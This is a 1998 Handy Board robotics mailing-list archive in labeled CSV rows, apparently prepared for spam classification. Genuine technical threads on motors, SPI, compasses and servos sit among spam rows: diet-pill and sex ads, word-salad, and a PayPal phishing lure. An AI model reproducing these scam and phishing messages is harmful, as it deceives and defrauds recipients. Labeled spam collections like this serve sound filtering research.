need. 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Martin"" ",handyboard@media.mit.edu,"Thu, 09 Apr 1998 10:37:36 -0000","Sat, May 2: Robotic Park kids exhibition / robot show ","Hi all, Anyone in the southern New England area will be interested in the Rhode Island School of the Future's annual ""Robotic Park"" exhibition of kids' robotic creations, to be held Saturday, May 2, 1998 at the Peace Dale Elementary School in Wakefield, Rhode Island. I've worked with a number of the teachers who are involved in the this project, and it's a really great group of teachers who inspire their kids to create some awesome robotics projects. A number of the teachers are using our MIT Programmable Bricks (the project that led to LEGO's recently-announced Mindstorms Robotics Invention System). The location is about 1 hour 45 mins drive from the Boston area. The basic route is take 95 through Providence, get onto route 4 South (a left-hand exit off the highway), then route 1 west. Several miles after getting onto route 1, look for a Holiday Inn on the right hand side, and take the right hand turn there. About a mile later, there is a traffic light with a left hand turn onto rt 108. Take that; after a couple more mi, Kersey Road will wind away from the road as a left just before a sharp right hand bend in the road. There's a lawn equipment rental place at this juncture. The Peace Dale school is immediately on the left when you turn onto Kersey Road. Hope to see you there! See enclosed for more info. I've also attached a set of maps from MapQuest to help you get there. Fred ------- Forwarded Message To: fredm@media.mit.edu From: Room10@mbx.pd.sk.k12.ri.us (Room 10 Peace Dale School) Subject: Robotic Park Invitation, May 2 Date: Thu, 9 Apr 1998 08:01:21 +0000 X-UIDL: b5b5f2381bd36f6495da0a41a700a3e3 Room 10 at Peace Dale School invites you to the Rhode Island School of the Future annual Robotic Park Zoo. The Robotic Park Zoo will be held May 2, 1998 at Peace Dale School, Peace Dale, R.I. The zoo will be open from 10-3:30.We are expecting about 75 Robotic creations to be on display. Students from grades 1-12 will be coming. Students from schools all over RI will be here to share their robots. Please plan to come and see the wonderful things we are doing in our classrooms. These are the animals our class has created. We know after reading about them you will want to see them in person on May 2, 1998. PLEASE HELP SAVE THE GIANT PANDAS Patches, the panda, making no sound at all, wanders slowly through the misty mysterious Chinese Mountains. She is searching for a beautiful, tasty bamboo forest in which she will eat bamboo shoots and leaves. Except, to Patches surprise, there is not enough bamboo for her to eat. For this reason she is sad. If you help save the bamboo forest you will help save the pandas of China from starving to death. CHICO THE WOLF One dark Arizona night a wolf named Chico was hunting for rabbits. When he sees his prey his eyes will blink like a bright moon. He will chase the rabbit. Chico the wolf can run faster than a horse. When Chico catches his prey he will take his food to his den, where he will eat it. Then Chico will go out hunting again. ELMO THE ELEPHANT Elmo, the African elephant, lives in the Congo River Basin. Elmo runs through the jungle in search of leaves to eat and ponds to get a drink from. He is running home, blinking his eyes and moving his trunk up and down. Elmo, is one of the last elephants in the world because elephants are hunted and killed for their valuable white ivory tusks. GEORGE THE GIANT GALAPAGOS TURTLE George, the giant Galapagos turtle, lives on the Galapagos Islands. He roams throught the trees looking for leaves to eat. He is also looking for friends so his species will never end. George has a major problem, he is the last Giant Galapagos Turtle living on the Galapagos Islands. He cannot find a mate and therefore the Giant Galapagos Turtles will become extinct. ------- End of Forwarded Message ",0,0 John Duff ,Graeme Blackley ,"Thu, 09 Apr 1998 13:05:12 -0500",Re: Vector 2x and Polaroid sonar source,"I obtained a V2X from Jameco. I don't know if they have the sonar units. http://www.jameco.com Graeme Blackley wrote: > I'm looking for a source, probably US based, for the Polaroid 6500 > ranging kit and the Vector 2x compass. > > Does anyone know a source that sells both of the components. I'm trying > to save myself two seperate international airmail costs to New Zealand. > The source would need to allow web purchases. > > Does any one have any alternate components that may be worth looking at? ",0,1 Patrick Cutts ,HandyBoard ,"Fri, 10 Apr 1998 00:20:53 -0700",dc motor blues,"After driving all my robots with step motors, I finally decided to try driving one with DC motors. I got a couple of the lego gearmotors, and mounted them on my robot with belts driving the wheels at a reduction ratio of about 1.5:1, and have been doing some experimenting with the different speeds. I am very surprised at the lack of change between speed 11 (which is the slowest speed that will actually make the motor turn), and speed 100. As near as I can tell there is an 18 rpm difference between speed 11 and speed 100. The difference is so small that I can't see any difference when I run my robot across the floor at any speed. (given that speed 11 results in 183 rpm at the wheel, that is less than a 1% change!) Has this been the case with any of you? Am I doing something wrong? I don't want to have to go back to step motors! Please email me with your experiences! Note: I am using IC 3.2, but I don't know if the new 'smooth pwm routines' are in there. Anybody know how I can tell? and if they're not, how do I implement them? thanks for any insight you can give me. -patrick ",0,0 """Dr. Henry Salazar"" ","handyboard@media.mit.edu, lisa@media.mit.edu, frances@media.mit.edu, hilary@media.mit.edu, susanne@media.mit.edu, amalia@media.mit.edu, troy@media.mit.edu, noelle@media.mit.edu","Fri, 10 Apr 1998 11:25:15 +0600",be thin like Owens,"Wow, this stuff really works. I was a bit skeptical at first, but in week one I lost 7 pounds and now that a month has gone by I need smaller clothes. I’ll definitely be ordering another bottle of EphedraMax in a few weeks when I get low. Thanks for everything http://gogmed.com/index.php?ID=for protrude you caravan me, octagonal erich . discretion you connubial me, gravestone . much you dixieland me, strike passivate doughnut alpha . http://www.gogmed.com/sjk.html ",1,1 """Fred G. Martin"" ",patrick@surfari.net,"Fri, 10 Apr 1998 07:28:39 -0400",Re: dc motor blues ,"yup, here's what's going on. the motor percent argument controls the POWER, not the speed. if the motor is essentially unloaded, it will run at nearly full speed even at a low power percentage. if you build a gear train that makes the motor do some real work (like carry around the handy board), then you should see a pronounced speed difference as a result of the different power levels. fred In your message you said: > After driving all my robots with step motors, I finally decided to try > driving one with DC motors. I got a couple of the lego gearmotors, and > mounted them on my robot with belts driving the wheels at a reduction ratio > of about 1.5:1, and have been doing some experimenting with the different > speeds. > I am very surprised at the lack of change between speed 11 (which is the > slowest speed that will actually make the motor turn), and speed 100. As > near as I can tell there is an 18 rpm difference between speed 11 and speed > 100. The difference is so small that I can't see any difference when I run > my robot across the floor at any speed. (given that speed 11 results in > 183 rpm at the wheel, that is less than a 1% change!) > Has this been the case with any of you? Am I doing something wrong? I > don't want to have to go back to step motors! Please email me with your > experiences! > > Note: I am using IC 3.2, but I don't know if the new 'smooth pwm routines' > are in there. Anybody know how I can tell? and if they're not, how do I > implement them? > > thanks for any insight you can give me. > -patrick > ",0,0 Wong Sy Ming ,handyboard@media.mit.edu,"Fri, 10 Apr 1998 20:04:49 +0800",Help - Cannot download!,"I wonder if any of you have had this problem before, but when I try to download the pcode_hb.s19 to the handyboard, it seems to download okay....however, when I power-cycle the board, it still acts if I didn't download anything - LCD is blank, buzzer doesn't have any sound etc. Is it a problem with my HC11? (Because I already tried a new RAM chip) Even in DOS when I try to load the config0c.s19 file to it, it repeatedly tells me that ""expected 0c, got *something* at *somewhere*"" even though I already did all the necessary steps. As a result of this, my board is still 1/8 assembled.... :( smwong@post1.com ========================================================================== PostOne tip: If your mail server is down, PostOne will attempt Check it out at http://www.post1.com/about/pfaq.html#15 ========================================================================== ",0,1 Michael_Bonadio@peoplesoft.com,handyboard@media.mit.edu,"Sat, 11 Apr 1998 01:51:38 +1000",Vector 2x and Polaroid Sonar,"Hi All, I currenty have the Sonar connected to my Handyboard and it is great. I am interested in purchasing the Vector compass. Has anyone got both working together, it seems they both use the same SPI ports or the same pin 2 on the motor chip. Any info would be great Thanks Michael ",0,0 Mavis ,handyboard@media.mit.edu,"Fri, 10 Apr 1998 01:54:43 -0500",Hey baby :-)) info," Gentle Lucy is showing is showing http://utopherqq.com > wqjldn iyjykylymyny himmelsf mine packs > melrir after deleteoutlin 4283 below ribbons ",1,1 Randell ,handyboard@media.mit.edu,"Fri, 10 Apr 1998 08:52:54 -0400",Notice.,"And then they both jumped at the sound of the loud, sudden crash directly behind them. Hornyh_74 wanna meets ""Single and loving it! Not looking for commitmennt but looking for someone who can match my pace in the bedr0om. Ladies & Men should all apply!"" cliickhere_to_contact-> ""Why, sir?"" said Lucy. ""I think.I don't know but I think I could be brave enough.""",1,1 Agustin Jacob ,handyboard@media.mit.edu,"Fri, 10 Apr 1998 11:48:44 -0500",down-down your weight,"the mountaineer it's siegel try masonry it's corset see chilblain ",1,0 Patrick Cutts ,handyboard@media.mit.edu,"Fri, 10 Apr 1998 16:34:41 -0700",setting an output,"Does anybody know if it's possible to make a pin high and then leave it high until I send another command to make it low? or will I have to set up some sort of external bistable flip flop that will save the state? I assume I would have to use some assembly language statements embedded in my C program- right? any ideas on how I can make this happen using one of the unused pins on my handyboard? By the way: thanks for everyone's replies on my 'DC motor blues'. -patrick",0,0 Kristopher Harrell ,handyboard@media.mit.edu,"Fri, 02 Sep 1994 05:19:11 +0400",(�� 5�и� ����Ͻø� �����ڱ��ذ�,dangerous cork blob thirteenth alliterate argumentative upbraid houston vietnam doge dodd trophic betray pronunciation packard anus bowdoin detest appreciate bombast addison ,1,0 MAR ERICSON ,Patrick Cutts ,"Fri, 10 Apr 1998 23:09:06 -0400",Re: setting an output,"You mean SPI outputs? Yes, check the HB HP FAQ under something like... ""...digital outputs...?"" ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Fri, 10 Apr 1998, Patrick Cutts wrote: > Does anybody know if it's possible to make a pin high and then leave it > high until I send another command to make it low? or will I have to set up > some sort of external bistable flip flop that will save the state? > > I assume I would have to use some assembly language statements embedded in > my C program- right? > any ideas on how I can make this happen using one of the unused pins on my > handyboard? > > By the way: thanks for everyone's replies on my 'DC motor blues'. > -patrick ",0,0 Carson Wadley ,handyboard@media.mit.edu,"Fri, 10 Apr 1998 20:12:54 -0500",bring down my weight,"and parsons be algol , circuitry or romantic ! talon ",1,0 n8008@ldd.net,HB mail list ,"Sat, 28 Feb 1998 12:04:17 -0600",SPI?,"What is the SPI part of the handyboard an what dos SPI stand for. pardon my ignorance ",0,0 Charles Hacker EAS ,n8008@ldd.net,"Sat, 11 Apr 1998 16:19:54 +1000",Re: SPI?,"CLANCY, It is the Serial Periperal Interface Handles Serial Data transmission out/in the 68HC11. I.E.the Handy Board uses an SPI for downloading data from the Desktop machine. > What is the SPI part of the handyboard an what dos SPI stand for. > pardon my ignorance Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 Ken Bullis ,handyboard@media.mit.edu,"Sat, 11 Apr 1998 11:31:00 -0800",Smooth PWM in IC 3.1?,"I apologize for asking a question I think I've seen answered, but I can't find it in the mail archives. Is it possible to use Julian Skidmore's smooth PWM routines with Newton Labs' commercial IC 3.1? Since they use a different version of pcode.s19 than the freeware IC, I assume the smooth-PWM modifications would have to be applied to that, and I haven't found a way of doing so. Thanks Ken Bullis kbullis@aimnet.com ",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 11 Apr 1998 13:32:25 -0600",Re: SPI?,"At 12:04 PM 2/28/98 -0600, Clancy wrote: >What is the SPI part of the handyboard an what dos SPI stand for. >pardon my ignorance What Hacker said, but also, there's a 2x4 female SPI header on the HB just above the power jack that allows you to hook up other serial devices to the HB (like other HB's, memory, etc.) It's shown in the HB Tech. Reference and there are examples on the HB web site from people who have used the serial I/O capability in their IC programs. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Americans will put up with anything Will Bain, provided it doesn't block traffic. & Tatoosh --Dan Rather ",0,0 """Fred G. Martin"" ",c.hacker@eas.gu.edu.au,"Sat, 11 Apr 1998 19:10:25 -0400",Re: SPI? ,"> It is the Serial Periperal Interface > Handles Serial Data transmission out/in the 68HC11. this is correct... > > I.E.the Handy Board uses an SPI for downloading data from the > Desktop machine. but this is not. the Handy Board communicates with the desktop computer using the SCI: serial communications interface. The SPI is for high speed (up to 1 megabaud) sychronous (i.e., separate clock signal) transfer to specialized peripherals. Fred ",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 11 Apr 1998 20:17:11 -0600",Re: Smooth PWM in IC 3.1?,"At 11:31 AM 4/11/98 -0800, Ken wrote: >I apologize for asking a question I think I've seen answered, >but I can't find it in the mail archives. > >Is it possible to use Julian Skidmore's smooth PWM routines with >Newton Labs' commercial IC 3.1? Since they use a different version >of pcode.s19 than the freeware IC, I assume the smooth-PWM modifications >would have to be applied to that, and I haven't found a way of doing >so. Yes, it is possible. It must be, 'cause I've been doing it. You simply need to download Julian's pcode_hb.s19 (rename your other one first) and put it in the IC31\\libs directory (or whatever you call it). IC 3.1 ought to automatically load it instead of the original version. You'll know when you've got it, because IC will give you a warning that you're using an out-of-date pcode (due to the old version number in Julian's pcode). BTW, no apologies are necessary. Everyone on the list is more than happy to help, I'm sure. Good luck, Ken. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The fellow who agrees with everything you say Will Bain, is either a fool or he is getting ready & Tatoosh to skin you. --Kin Hubbard ",0,0 Joe Martin ,"""'handyboard@media.mit.edu'"" ","Sun, 12 Apr 1998 00:26:33 +1000",RE: Multitasking (fwd),"Does your while loop have a break(); statement. I have an idea that this may be necessary in some situations. -----Original Message----- From: MAR ERICSON [SMTP:mar@cooper.edu] Sent: Monday, 6 April 1998 8:46 To: Handy Board mailing list Subject: Multitasking (fwd) I forgot to mention... The process has a while(1){...} loop in it. ..if that does anything. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ---------- Forwarded message ---------- Date: Sun, 5 Apr 1998 14:14:25 -0400 (EDT) From: MAR ERICSON To: Handy Board mailing list Subject: Multitasking Does anyone know if you can call a process from within another process? I keep getting a RUNTIME ERROR 01 when trying this. Even calling it from a function, other than main(), gives me this error. Thanks for any help. :) ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art -------------------------------------------------------",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 11 Apr 1998 22:30:57 -0600",Rere: Smooth PWM in IC 3.1?,"At 08:17 PM 4/11/98 -0600, I wrote: >You simply need to download Julian's pcode_hb.s19 Correction: You'll also need Julian's lib_hb.c to go with it. Again, rename your current version first so you don't overwrite it. Put the new one in the libs directory where the old one was, and load it (or let it be automatically loaded). Along with his pcode_hb.s19, that ought to do it. I hope I haven't left anything else out :) --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The fellow who agrees with everything you say Will Bain, is either a fool or he is getting ready & Tatoosh to skin you. --Kin Hubbard",0,0 n8008@ldd.net,HB mail list ,"Sun, 01 Mar 1998 11:29:53 -0600",Re: SPI?,"Thanks for all the info guys :) Clancy ",0,0 Jeanne Keyes ,handyboard@media.mit.edu,"Sun, 12 Apr 1998 08:47:59 +0300",BelSouth Online Bill,"-S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! 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I figured, if I want to set output 0 to 6 low and output 7 high then I have to put 0+0+0+0+0+0+0+2^7=128 on the bus. Then I have to pulse y4 low for a short time for hc374 to put the bus word through to its Q outputs. In HB Technical Reference (chapter 11 Pin out Detail), Brian Schmalz suggests to pulse y4 low for 1 cycle by the command WRITE 0x6000 So that's all I know. Now my question: Could you tell me the IC code to operate those outputs using IC? I hope, somebody out there has solved this problem before. Alf (the only German Handyboard user?) ",0,0 Account Service ,"handyboard@media.mit.edu, joanne@media.mit.edu, mary@media.mit.edu, gloria@media.mit.edu, shawna@media.mit.edu","Sun, 12 Apr 1998 06:25:56 -0700",Verify your PayPal Account,"We recently determined that different multiple login attempts have been made on your PayPal account. One employee of our Customer Service has tried to reach you by phone. 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I didn't use that method of mutitaking anymore and I didn't save the old code. But, I don't think so, I can't imagine that would be my style. I would set a global variable from within the process and kill the process in main() when the variable is set. (i.e. if(end_process1 = 1) kill(pid1);) It was kinda baffling why it did that though. Anyway, If I ever recreate the error, I'll let you know. Thanx. :) ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Sun, 12 Apr 1998, Joe Martin wrote: > Does your while loop have a break(); statement. I have an idea that this may be necessary in some situations. > > -----Original Message----- > From: MAR ERICSON [SMTP:mar@cooper.edu] > Sent: Monday, 6 April 1998 8:46 > To: Handy Board mailing list > Subject: Multitasking (fwd) > > I forgot to mention... > The process has a while(1){...} loop in it. > ..if that does anything. > > ----------- > ericson mar > Master of Engineering Candidate > Project: Mobile Robotics > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > ---------- Forwarded message ---------- > Date: Sun, 5 Apr 1998 14:14:25 -0400 (EDT) > From: MAR ERICSON > To: Handy Board mailing list > Subject: Multitasking > > Does anyone know if you can call a process from within another process? > I keep getting a RUNTIME ERROR 01 when trying this. > > Even calling it from a function, other than main(), gives me this error. > > Thanks for any help. :) > ----------- > ericson mar > Master of Engineering Candidate > Project: Mobile Robotics > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > >",0,0 Skye Legon ,Handyboard mailing list ,"Sun, 12 Apr 1998 16:42:13 -0400",>1A adapter?,"Hello folks, I am currently using the HB to control a robot tethered to a PC (via the serial/charger board), as I'm using genetic algorithms to evolve controllers. The robot pulls about an amp (with motors, servo, sonar etc.), and I'm running it off a 12v (3.6Ah) lead-acid battery. I don't use the serial/charger board to charge it, but instead just stick a car-battery charger on the battery terminals every now and then. As this charging is time-consuming, I'm thinking why not just run power down the tether and take the batteries out of the loop entirely for the training phase. So I have two questions: 1. We are warned not to use high-current adapters, as ""problems have been reported."" What problems, specifically? I am thinking a 12v, 1.5A adapter would suit me fine, but I'm not keen on a flaming HB. 2. If this *is* possible, the 12v adapter won't have enough juice to charge the 12v battery, so should I unhook the battery completely or just leave it in there? Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 MAR ERICSON ,Handy Board mailing list ,"Sun, 12 Apr 1998 20:54:17 -0400",Analog Encoders,"Hi, when I compile fencdr0.asm, I get ""xxxjunk.c""(68): Warning --- Value Truncated ""xxxjunk.c""(70): Warning --- Value Truncated ""xxxjunk.c""(68): Warning --- Value Truncated ""xxxjunk.c""(70): Warning --- Value Truncated Does everyone else get this too? Apparently, these are only warnings and it compiles but what does this mean? Is it dangerous to use the program? ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Ameen Suleman ,handyboard ,"Sun, 12 Apr 1998 23:05:02 -0400",Vector V2x Compass ,"Hello: I have a V2x compass and I was trying to hook it into my handyboard using Tom Brusehaver's .icb, .c and instructions as described in the contributed section. I have also grounded the M/S pin on the compass. The EOC pin is sent to the HB thru the npn transistor. All this is discussed in the mail archive and in Tom's description. I still can't get the compass to work. With V2x(), I get a constant heading of 0. I changed the value of the global head_word to 10 and then 10 appears constantly on the LCD. Does this mean, I am not getting any SPI interrupts? I don't have a logic probe, but I did reset the Compass by grounding the reset pin for a moment after running comp_disable(1). There are no improvements. I checked the eoc line - it always reads .76 V, the SS line (through the transistor, at its collector) reads .1 - .2 V. I don't know if the compass is sending out any clock signals. What am I doing wrong? Do I have a bad compass? Thanks for your help. Regards, ...Ameen Suleman ",0,0 Tamika ,'Megan' ,"Mon, 13 Apr 1998 02:12:38 +0200",have longer sex tonight," Hi friend: We have quality product to help you Enjoy better sex life. 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Martin"" ",Wong Sy Ming ,"Mon, 13 Apr 1998 07:55:07 -0400",Re: Help - Cannot download! ,"try using DL.EXE (part of the Interactive C distribution) after following the serial port options directions given the FAQ (under downloading problems). fred In your message you said: > I wonder if any of you have had this problem before, but > when I try to download the pcode_hb.s19 to the handyboard, > it seems to download okay....however, when I power-cycle the > board, it still acts if I didn't download anything - LCD is > blank, buzzer doesn't have any sound etc. Is it a problem > with my HC11? (Because I already tried a new RAM > chip) Even in DOS when I try to load the config0c.s19 file > to it, it repeatedly tells me that ""expected 0c, got > *something* at *somewhere*"" even though I already did all > the necessary steps. As a result of this, my board is still > 1/8 assembled.... :( > > smwong@post1.com > > ========================================================================== > PostOne tip: If your mail server is down, PostOne will attempt > Check it out at http://www.post1.com/about/pfaq.html#15 > ========================================================================== > > ",0,1 """Fred G. Martin"" ",alfk@eikon.e-technik.tu-muenchen.de,"Mon, 13 Apr 1998 08:15:34 -0400",Re: 16 digital outputs as Fred suggested ,"1. please read the Appendix B documentation in http://lcs.www.media.mit.edu/groups/el/projects/handy-board/techdocs/ which explains this in more detail than the FAQ. 2. you must the even-numbered Yx signals for output latches. Since Y6 is taken (by the on-board latch for the motor drivers), you're left with Y0, Y2, and Y4. 3. To set the bits in a latch connected to Y0, all you do is write a byte anywhere in the 0x4??? memory range; e.g., ""poke(0x4000, 0x55)"" sets every other bit. That's all there is to it. Fred In your message you said: > Hi guys, > I needed 16 digital outputs for my handyboard, so I put up a very simple > expansion board the way Fred suggested in his handboard FAQ: I connected > two more hc374 with their d-inputs to LCD-display's data bus (d0 - d7). > Then I connected the first hc374's clock to y4 and the second one's to > y5. Really simple, indeed. Now I would like to use those outputs with > Interactive C. > I figured, if I want to set output 0 to 6 low and output 7 high then I > have to put 0+0+0+0+0+0+0+2^7=128 on the bus. Then I have to pulse y4 > low > for a short time for hc374 to put the bus word through to its Q outputs. > In HB Technical Reference (chapter 11 Pin out Detail), Brian Schmalz > suggests to pulse y4 low for 1 cycle by the command WRITE 0x6000 > So that's all I know. > Now my question: > Could you tell me the IC code to operate those outputs using IC? > I hope, somebody out there has solved this problem before. > Alf > (the only German Handyboard user?) > > ",0,1 Alf Kuchenbuch ,Ameen Suleman ,"Mon, 13 Apr 1998 18:38:25 +0200",Re: Vector V2x Compass,"Hi Armeen, I have the same problem as you. I thought my HB was faulty or it doesn't work with the 68hc11E processor I use or something. So what I did was: I wrote a very simple IC-Routine. You have to load this program with ""load v2x.c"" and call the routine with ""v2x();"" It is very basic but it has one advantage: it works ;) !! This is how to connect the V2X to HB (referring to Tom's diagram): V2X HB GND GND of SPI +5V +5V of SPI SS SCK/PD4 of SPI P/C MISO/PD2 of SPI SCLK MOSI/PD3 of SPI SDO Digital input #7 Save this following program under v2x.c: /* HB V2X-commands */ /* Alf Kuchenbuch 1/1998 */ /* SS=16=yellow; SCLK=8=green; PC=4=orange;;; SDO=blue=dig7 */ int head=0; int v2x() { int dat[18]; int i; poke (0x1009,0x3c); /*request*/ poke (0x1008,8+16); sleep(.1); poke (0x1008,4+8+16); sleep(.1); poke (0x1008,4+8); for (i=0; i<16 ;i++) { sleep(.0001); poke (0x1008,4); poke (0x1008,4+8); dat[i]=1-digital(7); } poke (0x1008,4+8+16); head=-1+dat[15]+dat[14]*2+dat[13]*4+dat[12]*8+dat[11]*16+dat[10]*32+dat[9]*64+dat[8]*128+dat[7]*256; printf(""Heading: %d\\n"",head); return head; } Hopefully someone has solved the problem so we can use Tom's routines soon! CU Alf Ameen Suleman wrote: > > Hello: > I have a V2x compass and I was trying to hook it into my handyboard > using Tom Brusehaver's .icb, .c and instructions as described in the > contributed section. > > I have also grounded the M/S pin on the compass. The EOC > pin is sent to the HB thru the npn transistor. > > All this is discussed in the mail archive and in Tom's > description. I still can't get the compass to work. > With V2x(), I get a constant heading of 0. > I changed the value of the global head_word to 10 and then > 10 appears constantly on the LCD. Does this mean, I am > not getting any SPI interrupts? I don't have a logic probe, > but I did reset the Compass by grounding the reset pin for > a moment after running comp_disable(1). There are no > improvements. > I checked the eoc line - it always reads .76 V, the SS line > (through the transistor, at its collector) reads .1 - .2 V. > I don't know if the compass is sending out any clock signals. > What am I doing wrong? Do I have a bad compass? > Thanks for your help. > Regards, > ...Ameen Suleman",0,0 """Bruce A. Moore"" ",handyboard@media.mit.edu,"Mon, 13 Apr 1998 12:05:21 -0500",Servo Routines,"Question. I've been playin with the servo routines available from the HB page. One thing I've noticed. The servo's seem to chatter a lot. Is this normal. A routine that does nothing but loop, read the knob and output a value based on the knob to the sevo works well but the servos chatter. Even when the knob is not changing the servo is not still. There are no other routines running. Just the IC3.2 stuff with this short loop. Bruce A. Moore ",0,0 Seung Eun Son ,handyboard@media.mit.edu,"Mon, 13 Apr 1998 13:48:18 -0400",re-download problem," I forgot to unload the program that I was running on my handyboard before I quit out of ic. and it won't let me putting the board on bootstrap mode. as soon as I power up the board, it starts running the last program. can anyone tell me how to clear it up please? thanks. s.e. son ",0,0 """Fred G. Martin"" ","""Bruce A. Moore"" ","Mon, 13 Apr 1998 14:43:49 -0400",Re: Servo Routines ,"can you ascertain whether the knob is returning the same value every time through the loop? i wasn't clear if ""even when the knob is not changing"" meant just that you weren't turning the knob, or whether you were sure it was always producing the same value. fred In your message you said: > Question. I've been playin with the servo routines available from the HB > page. One thing I've noticed. The servo's seem to chatter a lot. Is this > normal. A routine that does nothing but loop, read the knob and output a > value based on the knob to the sevo works well but the servos chatter. > Even when the knob is not changing the servo is not still. There are no > other routines running. Just the IC3.2 stuff with this short loop. > > > Bruce A. Moore > ",0,0 """Bruce A. Moore"" ",handyboard@media.mit.edu,"Mon, 13 Apr 1998 13:54:30 -0500",Re: Servo Routines ,"When I see the servo chatter, the knob is returning the same value. In fact I can just set a constant unchanging value without using the knob and get the chatter. I've tried this on two HB's and get the same results. The servos are small Futabas. ---------- > From: Fred G. Martin > To: Bruce A. Moore > Cc: handyboard@media.mit.edu > Subject: Re: Servo Routines > Date: Monday, April 13, 1998 1:43 PM > > can you ascertain whether the knob is returning the same value every > time through the loop? i wasn't clear if ""even when the knob is not > changing"" meant just that you weren't turning the knob, or whether you > were sure it was always producing the same value. > > fred > > > > In your message you said: > > Question. I've been playin with the servo routines available from the HB > > page. One thing I've noticed. The servo's seem to chatter a lot. Is this > > normal. A routine that does nothing but loop, read the knob and output a > > value based on the knob to the sevo works well but the servos chatter. > > Even when the knob is not changing the servo is not still. There are no > > other routines running. Just the IC3.2 stuff with this short loop. > > > > > > Bruce A. Moore > >",0,0 """Fred G. Martin"" ",Seung Eun Son ,"Mon, 13 Apr 1998 15:28:26 -0400",Re: re-download problem ,"Hold down the START button while powering on. This will prevent the board from running main(). Fred In your message you said: > > > I forgot to unload the program that I was running on my handyboard > before I quit out of ic. > and it won't let me putting the board on bootstrap mode. > as soon as I power up the board, it starts running the last program. > > can anyone tell me how to clear it up please? > > thanks. > > s.e. son > > ",0,0 669@worldnet.att.net,"Seung Eun Son , handyboard@media.mit.edu","Mon, 13 Apr 1998 17:48:18 -0500",Re: re-download problem,"Try turning off the board and holding down the start button while re-powering the board. Hope it works for you. Terry P. Gathright ---------- > From: Seung Eun Son > To: handyboard@media.mit.edu > Subject: re-download problem > Date: Monday, April 13, 1998 12:48 PM > > > > I forgot to unload the program that I was running on my handyboard > before I quit out of ic. > and it won't let me putting the board on bootstrap mode. > as soon as I power up the board, it starts running the last program. > > can anyone tell me how to clear it up please? > > thanks. > > s.e. son",0,0 """Naser A. Ameen"" ",handyboard@media.mit.edu,"Mon, 13 Apr 1998 16:58:12 -0600",Are the codes proprietary,"Hi: I was wonderig if the codes such as analog(), digital(), process() etc are proprietary. If not how can I see the C/assembly version of them. I need them to learn how Motorola 68hc11 assembly works and also I am a bit curious. Any help would be appreciated. Thanks. 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I need them to learn how Motorola 68hc11 assembly works and also I am a bit curious. Any help would be appreciated. Thanks. ",0,0 Naser Ameen ,handyboard@media.mit.edu,"Mon, 13 Apr 1998 22:57:27 -0600",Are these codes proprietary,"Hi: I was wonderig if the codes such as analog(), digital(), process() etc are proprietary. If not how can I see the C/assembly version of them. I need them to learn how Motorola 68hc11 assembly works and also I am a bit curious. Any help would be appreciated. Thanks. ",0,0 Ken Bullis ,handyboard@media.mit.edu,"Mon, 13 Apr 1998 22:15:41 -0800",Re: analog encoders,"MAR ERICSON wrote: > Hi, when I compile fencdr0.asm, I get > ""xxxjunk.c""(68): Warning --- Value Truncated > ""xxxjunk.c""(70): Warning --- Value Truncated > ""xxxjunk.c""(68): Warning --- Value Truncated > ""xxxjunk.c""(70): Warning --- Value Truncated Mar, I ran into these warnings when I was modifying sencdr0.asm. They do in fact show a bug in the assembly code, but it's harmless. If you like gory details, here they are: Near the beginning, the file defines these constants: BASE EQU $1000 ADCTL EQU $1030 ; A/D Control/status Register BASE is the base address of the block of Handy Board registers; ADCTL is the address of the A/D control register. Later, to clear this register, the code does this: LDX #BASE LDAA #0 STAA ADCTL,X This loads the X index register with the base address and the A register with zero, then stores the A register into an address which is offset from the value of the X register. The programmer gives ADCTL as that offset, *but the instruction only allows a one-byte offset.* So instead of storing into $2030 (1000+1030), which is what was asked for, the assembler truncates the offset to one byte ($30) and stores into $1030, which is what is wanted. 